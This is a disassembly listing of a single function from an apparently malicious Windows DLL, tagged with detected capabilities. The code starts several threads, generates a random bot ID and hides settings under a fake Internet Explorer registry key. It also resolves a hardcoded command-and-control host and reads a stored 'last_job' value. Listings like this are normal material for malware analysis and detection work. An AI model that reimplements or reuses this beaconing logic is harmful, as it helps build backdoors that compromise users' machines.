Function at 0x10004030
Capabilities:
Check for time delay via gettickcount
Create thread
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1a4
push ebx
push ebp
push esi
lea eax, [esp + 0x20]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 0x10003c80
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
call sub.MSVCRT.dll_srand
add esp, 4
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x7e4
mov dword [0x10006014], edx
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x10003dd0
push 0
push 0
call ebx
mov dword [0x100060ac], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x7e4
mov dword [0x10006020], edx
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x10003f00
push 0
push 0
call ebx
push 0x10005584
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
mov dword [0x100060a4], eax
call fcn.10001000
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
test eax, eax
je 0x1000414a
push 0x10005584
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001070
add esp, 0xc
push eax
push 0x100060c0
call ebp
call esi
push eax
call sub.MSVCRT.dll_srand
add esp, 4
mov esi, 0x68
call sub.MSVCRT.dll_rand
dec esi
jne 0x10004128
mov eax, 0x100060c0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004138
sub eax, edx
cmp eax, 0xa
jae 0x10004223
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 9
idiv ecx
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x100041f5
dec eax
or eax, 0xfffffff8
inc eax
inc eax
push eax
push str._i_i_i_i_i_i_i_i_i_i_i_i
push 0x100060c0
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100060c0
push 0x10005584
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001180
add esp, 0x48
push str.host
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001000
add esp, 0xc
test eax, eax
je 0x10004262
push str.host
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001070
add esp, 0xc
push eax
push str.123.456.789.012
call ebp
jmp 0x100042e3
push str.www.midlenet.org
push 0x10006024
call fcn.100014e0
add esp, 8
push 0x10006024
call dword [sym.imp.WS2_32.dll_gethostbyname]
push str.www.midlenet.org
push 0x10006024
mov esi, eax
call fcn.100014e0
add esp, 8
test esi, esi
je 0x100042e3
movsx ecx, word [esi + 0xa]
mov edx, dword [esi + 0xc]
mov esi, dword [edx]
mov eax, ecx
push edi
shr ecx, 2
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.123.456.789.012
call ebp
push str.123.456.789.012
push str.host
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001180
add esp, 0x10
pop edi
push str.last_job
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001000
add esp, 0xc
test eax, eax
je 0x1000431c
push str.last_job
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
call fcn.10001100
add esp, 0xc
mov dword [0x100060dc], eax
jmp 0x10004326
mov dword [0x100060dc], 0
call fcn.100033d0
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x10001200
push 0
push 0
call ebx
mov dword [0x100060a0], eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x100039c0
push 0
push 0
call ebx
pop esi
pop ebp
mov dword [0x100060b0], eax
pop ebx
add esp, 0x1a4
ret